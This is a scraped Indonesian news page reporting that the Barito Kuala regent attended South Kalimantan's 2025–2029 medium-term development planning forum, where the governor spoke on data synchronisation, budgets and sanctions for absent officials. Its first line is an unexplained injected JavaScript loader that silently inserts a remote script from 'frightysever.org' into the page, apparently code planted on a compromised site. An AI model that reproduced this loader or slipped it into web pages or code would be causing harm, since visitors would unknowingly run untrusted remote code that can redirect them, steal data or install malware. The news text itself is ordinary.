(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Bupati Barito Kuala, H. Bahrul Ilmi, mengikuti Musyawarah Rencana Pembangunan (Musrenbang) Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Provinsi Kalimantan Selatan Tahun 2025–2029, yang dilaksanakan di Auditorium K.H. Idham Chalid, kompleks perkantoran Gubernur Kalimantan Selatan, Senin (05/05/2025).
Acara ini dibuka oleh Gubernur Kalimantan Selatan, H. Muhidin, dan Wakil Gubernur, H. Hasnuryadi Sulaiman. Dalam arahannya, Gubernur menekankan pentingnya sinkronisasi data lintas wilayah dan jenjang pemerintahan, mulai dari Kepala Desa, Lurah, Camat, hingga Bupati/Wali Kota dan Gubernur.
Gubernur Muhidin juga menyampaikan bahwa Pemprov Kalsel telah menyiapkan anggaran hampir Rp300 miliar untuk mendukung pelaksanaan program-program tersebut. Ia turut menyoroti pentingnya kedisiplinan kepala daerah dalam menghadiri undangan resmi, dengan menegaskan bahwa ketidakhadiran tanpa alasan yang sah akan dikenakan sanksi sesuai dengan ketentuan.
“Saya minta surat resmi. Jika kepala daerah dipanggil tapi tidak hadir, akan ada sanksi. Undang-Undang Nomor 23 Tahun 2014 Pasal 74 sudah jelas menyebutkan larangan bagi kepala daerah. Ketidakhadiran selama tujuh hari berturut-turut dapat dikenai sanksi pemberhentian sementara,” ungkap Gubernur Muhidin.
Menutup arahannya, Gubernur juga menyampaikan bahwa Presiden Republik Indonesia telah menyatakan komitmen pemerintah pusat untuk menanggung biaya program makan bergizi gratis.
Musrenbang RPJMD ini ditutup dengan penandatanganan Berita Acara Kesepakatan Bersama antara Pemerintah Provinsi Kalimantan Selatan dan seluruh kabupaten/kota di wilayah tersebut. Penandatanganan ini merupakan bentuk komitmen untuk menyelaraskan arah pembangunan daerah dengan kebijakan pembangunan provinsi dalam lima tahun ke depan.
Usai kegiatan, Bupati Bahrul Ilmi menyampaikan bahwa kehadirannya merupakan wujud komitmen daerah dalam mendukung kesinambungan pembangunan yang berorientasi pada kepentingan masyarakat. “Semoga pelaksanaan Musrenbang ini menjadi langkah awal yang positif untuk mewujudkan pembangunan yang lancar dan dapat memenuhi seluruh kepentingan masyarakat,” ujarnya.
Partisipasi aktif Pemerintah Kabupaten Barito Kuala dalam forum ini menegaskan komitmen terhadap perencanaan pembangunan yang partisipatif, responsif, dan berbasis kebutuhan riil masyarakat. “Diharapkan, hasil Musrenbang ini akan menjadi pedoman strategis dalam penyusunan RPJMD yang inklusif dan berkelanjutan,” pungkasnya.
Hadir pula pada kegiatan ini Direktur Jenderal Otonomi Daerah Kementerian Dalam Negeri, Direktur Regional II Kementerian PPN/BAPPENAS, Ketua DPRD Provinsi Kalimantan Selatan, jajaran Forkopimda Provinsi Kalimantan Selatan, para bupati dan wali kota se-Kalimantan Selatan, perwakilan DPRD kabupaten/kota, akademisi, serta unsur masyarakat sipil.(www.kanalkalimantan.com/adv)
Reporter: adv
Editor: rdy
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More
This website uses cookies.